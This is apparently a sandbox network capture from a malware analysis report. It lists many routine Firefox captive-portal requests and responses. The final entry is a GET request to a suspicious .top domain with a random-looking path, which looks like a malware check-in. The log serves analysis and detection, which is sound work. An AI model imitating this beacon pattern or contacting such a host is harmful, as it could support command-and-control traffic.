Nov 23, 2024 18:23:32.774756908 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 38135 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 18:23:32.836174965 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 18:23:33.235868931 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 38136 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 18:23:33.256593943 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 18:23:33.579521894 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 38136 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 18:23:33.804065943 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 18:23:34.139379025 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 38136 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 18:23:34.207185030 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 18:23:34.570310116 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 38137 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 18:23:41.985461950 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 18:23:42.305988073 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 38145 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 18:23:48.849443913 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 18:23:49.277332067 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 38152 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 18:23:53.258019924 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 18:23:53.676856041 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 38156 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 18:24:00.166974068 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 18:24:00.483500004 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 38163 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 18:24:01.660974026 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 18:24:02.023297071 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 38164 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 18:24:12.056958914 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:24:15.761029959 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 18:24:16.082782984 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 38178 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 18:24:26.160841942 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:24:30.962730885 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 18:24:31.492517948 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 38194 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 18:24:41.561944008 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:24:51.750310898 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:24:57.234196901 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 18:24:57.549113035 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 38220 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 18:25:07.651150942 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:25:17.854903936 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:25:28.053534031 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:25:38.258110046 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:25:48.451718092 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:25:58.649130106 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:26:19.162759066 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 18:26:19.500071049 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 38302 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Nov 23, 2024 18:26:33.355901957 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Nov 23, 2024 18:26:33.691806078 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Sat, 23 Nov 2024 06:47:57 GMT Age: 38316 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.4	50056	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:33.387065887 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.4	50059	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:33.888451099 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.4	50060	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:34.143564939 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.4	50062	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:34.701453924 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 18:23:35.913834095 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 59957 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 18:23:42.310132027 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 18:23:42.627038002 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 59964 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 18:23:49.281672955 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 18:23:49.595501900 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 59971 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 18:23:53.683433056 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 18:23:54.167830944 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 59976 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 18:24:00.486398935 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 18:24:00.807049036 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 59982 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 18:24:02.027070999 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 18:24:02.347754955 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 59984 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 18:24:12.358884096 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:24:16.087570906 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 18:24:16.401721001 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 59998 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 18:24:26.462798119 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:24:31.501512051 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 18:24:31.860775948 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 60013 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 18:24:41.863701105 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:24:52.052000046 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:24:57.555936098 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 18:24:57.871423006 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 60039 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 18:25:07.952778101 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:25:18.257222891 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:25:28.453568935 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:25:38.660721064 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:25:48.852509022 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:25:59.051408052 CET	6	OUT	Data Raw: 00 Data Ascii:
Nov 23, 2024 18:26:19.503473997 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 18:26:19.817512035 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 60121 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success
Nov 23, 2024 18:26:33.694531918 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Nov 23, 2024 18:26:34.010581970 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Sat, 23 Nov 2024 00:44:18 GMT Age: 60135 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.4	50076	34.116.198.130	80

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2024 18:23:40.519260883 CET	87	OUT	GET /LCXOUUtXgrKhKDLYSbzW1732019347 HTTP/1.1 Host: home.fvtekk5pn.top Accept: /
